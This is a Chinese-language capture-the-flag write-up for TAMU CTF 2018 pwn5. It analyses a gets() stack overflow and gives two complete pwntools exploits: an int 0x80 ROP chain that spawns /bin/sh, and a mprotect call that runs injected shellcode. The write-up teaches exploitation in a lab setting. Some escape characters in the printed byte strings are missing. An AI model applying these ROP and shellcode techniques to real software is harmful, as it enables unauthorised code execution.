ROP-Tamu CTF 2018-pwn5

1 int __cdecl main(int argc, const char **argv, const char **envp)
2 {
3   print_beginning();
4   return 0;
5 }

打开IDA,main中调用了print_beginning()。

 1 int print_beginning()
 2 {
 3   int result; // eax
 4   char v1; // [esp+Fh] [ebp-9h]
 5 
 6   puts("Welcome to the TAMU Text Adventure!");
 7   puts("You are about to begin your journey at Texas A&M as a student");
 8   puts("But first tell me a little bit about yourself");
 9   printf("What is your first name?: ");
10   fgets(&first_name, 100, stdin);
11   strtok(&first_name, "
");
12   printf("What is your last name?: ");
13   fgets(&last_name, 100, stdin);
14   strtok(&last_name, "
");
15   printf("What is your major?: ");
16   fgets(major, 20, stdin);
17   strtok(major, "
");
18   printf("Are you joining the Corps of Cadets?(y/n): ");
19   v1 = getchar();
20   corps = v1 == 121 || v1 == 89;
21   printf("
Welcome, %s %s, to Texas A&M!
");
22   if ( corps )
23     result = first_day_corps();
24   else
25     result = first_day_normal();
26   return result;
27 }

观察print_beginning(),发现三个fgets的参数,first_name,last_name等都是全局变量,所以这个print_beginning()函数中,并没有可以攻击的地方。

1 int change_major()
2 {
3   char dest; // [esp+Ch] [ebp-1Ch]
4 
5   getchar();
6   gets(&dest);
7   strncpy(&dest, major, 0x14u);
8   return printf("You changed your major to: %s
");
9 }

然后接着,一个个查看其他函数,发现在change_major()中,调用了gets(),并且参数就存放在栈上,所以这里可以进行栈溢出攻击。

 checksec一下,发现NX是开着的,并且由于ASLR都是默认开启的,所以并不能往栈上写入shellcode执行。

在IDA中搜索system函数,也没有。

所以这里就用到了int 80中断来执行system了。

ROPgadget --binary pwn5 | grep 'int 0x80'

 用这行指令,找到了int 0x80的gadget。

eax = 11 = 0xb, ebx = &(“/bin/sh”), ecx = edx = edi = 0.

想要调用sys_execve,需要给上面几个寄存器赋值。给寄存器赋值要用到pop指令,接着用ROPgadget来寻找。

ROPgadget --binary pwn5 | grep 'pop' 
 1 #coding:utf-8
 2 from pwn import *
 3 io=process('./pwn5')
 4 pos_0x80=p32(0x08071005)  #地址中不能存在0a,否则就会被当成换行
 5 pos_pop1=p32(0x08095FF4)  #0x08095ff4 : pop eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
 6 pos_pop2=p32(0x080733B0)  #0x080733b0 : pop edx ; pop ecx ; pop ebx ; ret
 7 pos_sh=p32(0x080F1A20)
 8 pading=b'A'*32
 9 
10 payload=pading+pos_pop1+p32(11)+pos_sh+p32(0)+p32(0)+p32(0)+pos_pop2+p32(0)+p32(0)+pos_sh+pos_0x80
11 #payload=pading+b'xf4x5fx09x08'+b'x0bx00x00x00'+pos_sh+b'x00x00x00x00'+b'x00x00x00x00'+b'x00x00x00x00'+pos_pop2+b'x00x00x00x00'+b'x00x00x00x00'+pos_sh+pos_0x80
12 
13 io.sendline('/bin/sh')    #必须得是/bin/sh,如果是sh的话不行
14 io.sendline('/bin/sh')
15 io.sendline('/bin/sh')    #三个变量都是全局变量,都可以用
16 io.sendline('y')
17 io.sendline('2')
18 io.sendline(payload)
19 
20 io.interactive()

最后写出脚本。

这个题整体思路是很清晰的,是一个int 0x80的入门教学题。

我搜了一下其他的writeup,发现也可以用其他方法来解题。

 如图我们可以发现,程序中有mprotect函数。

1 int mprotect(const void *start, size_t len, int prot);

这个是mprotect的函数原型,mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。

因为这个题的PIE没有打开,所以bss段的地址不会被随机化,所以我们可以确定这个地址。把shellcode写入到fisrtname中,而firstname是全局变量存放在bss中。再通过调用mprotect将这块bss内存设置为rwx,通过ret返回调用shellcode,就能拿到shell了。

 1 coding:utf-8
 2 from pwn import *
 3 io=process('./pwn5')
 4 shellcode=b'x31xc9xf7xe1xb0x0bx51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80'
 5 pos_mprotect=p32(0x08072450)
 6 pos_firstname=p32(0x080F1A20)
 7 pos_bss=p32(0x080F1000)
 8 pading=b'A'*32
 9 
10 payload=b''
11 payload+=pading
12 payload+=pos_mprotect
13 payload+=pos_firstname     #如果参数在栈上,那么构造的栈顶一定是返回地址
14 payload+=pos_bss
15 payload+=p32(0x1000)
16 payload+=p32(7)            #栈上的参数是从右往左压入的
17 
18 io.sendline(shellcode)
19 io.sendline(' ')
20 io.sendline(' ')
21 io.sendline('y')
22 io.sendline('2')
23 io.sendline(payload)
24 
25 io.interactive()

原文地址:https://www.cnblogs.com/sweetbaby/p/14177591.html